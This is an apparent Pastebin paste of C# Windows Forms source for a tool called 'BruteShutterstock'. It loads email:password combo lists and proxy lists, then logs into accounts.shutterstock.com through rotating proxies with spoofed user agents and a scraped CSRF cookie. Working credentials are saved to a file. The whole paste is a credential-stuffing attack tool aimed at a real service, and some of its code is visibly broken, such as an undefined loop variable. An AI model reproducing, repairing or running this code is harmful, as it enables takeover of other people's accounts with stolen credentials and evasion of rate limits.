Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.IO;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using xNet;
- using System.Threading;
- namespace BruteShutterstock
- {
- public partial class Form1 : Form
- {
- Random Rand = new Random();
- public static string p1;
- public static string p2 ;
- public static string p3 ;
- public static string[] lines1;
- public static string[] lines2;
- public static string[] lines3;
- static object locker1 = new object();
- static object locker = new object();
- public Form1()
- {
- InitializeComponent();
- }
- private void button4_Click(object sender, EventArgs e)
- {
- string p3 = textBox3.Text;
- int k = 0, z = 0;
- label9.Text = "0";
- label12.Text = "0";
- string kol = textBox4.Text;
- int kol1 = Convert.ToInt32(kol);
- string[] lines1 = File.ReadAllLines(textBox1.Text);
- int kolthread2 = Convert.ToInt32(textBox5.Text);
- CancellationTokenSource cts = new CancellationTokenSource();
- var opt = new ParallelOptions
- {
- CancellationToken = cts.Token,
- MaxDegreeOfParallelism = kolthread2
- };
- Task.Factory.StartNew(() =>
- {
- if (stop2)
- cts.Cancel();
- });
- try
- {
- Parallel.ForEach(lines1, opt, registr => { registr(i); opt.CancellationToken.ThrowIfCancellationRequested(); });
- }
- catch
- {
- }
- finally
- {
- cts.Dispose();
- }
- }
- private void button1_Click(object sender, EventArgs e)
- {
- OpenFileDialog ofd = new OpenFileDialog();
- if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
- {
- FileInfo fi = new FileInfo(ofd.FileName);
- string path = ofd.FileName;
- textBox1.Text = path;
- listBox1.Items.Clear();
- string[] lines1 = File.ReadAllLines(textBox1.Text);
- label7.Text="База:"+lines1.Length;
- }
- }
- void Goodi(string message)
- {
- if (label9.InvokeRequired)
- {
- label9.BeginInvoke(new Action<string>((s)
- => label9.Text = Convert.ToString(Convert.ToInt32(label9.Text) + 1)), message);
- }
- else
- {
- label9.Text = Convert.ToString(Convert.ToInt32(label9.Text) + 1);
- }
- }
- void Badi(string message)
- {
- if (label12.InvokeRequired)
- {
- label12.BeginInvoke(new Action<string>((s)
- => label12.Text = Convert.ToString(Convert.ToInt32(label12.Text) + 1)), message);
- }
- else
- {
- label9.Text = Convert.ToString(Convert.ToInt32(label12.Text) + 1);
- }
- }
- private void button2_Click(object sender, EventArgs e)
- {
- OpenFileDialog ofd = new OpenFileDialog();
- if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
- {
- FileInfo fi = new FileInfo(ofd.FileName);
- string path = ofd.FileName;
- textBox2.Text = path;
- string[] lines2 = File.ReadAllLines(textBox2.Text);
- label8.Text = "Кол-во проксей : " + lines2.Length;
- }
- }
- private void button3_Click(object sender, EventArgs e)
- {
- OpenFileDialog ofd = new OpenFileDialog();
- if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
- {
- FileInfo fi = new FileInfo(ofd.FileName);
- string path = ofd.FileName;
- textBox3.Text=path ;
- p3 = textBox3.Text;
- }
- }
- public string login1(string basa)
- {
- string[] strs = basa.Split(':');
- string login = strs[0];
- return login;
- }
- public string password(string basa)
- {
- string[] strs = basa.Split(':');
- string password = strs[1];
- return password;
- }
- public string domain(string basa)
- {
- string ps = login1(basa);
- string[] strs = ps.Split('@');
- string login = strs[1];
- return login;
- }
- public string user(string basa)
- {
- string ps = login1(basa);
- string[] strs = ps.Split('@');
- string login = strs[0];
- return login;
- }
- public void registr(object c)
- {
- int i = (int)c;
- if (i < lines1.Length)
- {
- using (var request = new HttpRequest())
- {
- var useragenT = Http.OperaUserAgent();
- int ran = Rand.Next(0, lines2.Length);
- request.Proxy = HttpProxyClient.Parse(lines2[ran]);
- var useraGENT = Http.ChromeUserAgent();
- request.UserAgent = useraGENT;
- request.AddHeader("Upgrade-Insecure-Requests", "1");
- var result = request.Get("https://accounts.shutterstock.com/login");
- var cookies = result.Cookies;
- var csrf = "";
- foreach (var m in cookies)
- if (m.Key == "did")
- csrf = m.Value;
- result = request.Get("https://accounts.shutterstock.com/login");
- request.UserAgent = useraGENT;
- request.Cookies = cookies;
- string data = "_csrf=" + csrf + "&next=%2F&username=" + user(lines1[i]) + "%40" + domain(lines1[i]) + "&password=" + password(lines1[i]) + "&login=";
- result = request.Post("https://accounts.shutterstock.com/login?next=%2F", data, "application/x-www-form-urlencoded");
- var cookiesi = result.Cookies;
- var ce = "";
- foreach (var m in cookies)
- if (m.Key == "proof")
- ce = m.Value;
- if (ce != "")
- {
- lock (locker)
- {
- Goodi("");
- using (StreamWriter sw = File.AppendText(p3))
- {
- sw.WriteLine(lines1[i]);
- }
- }
- }
- else
- {
- lock (locker1)
- {
- Badi("");
- }
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement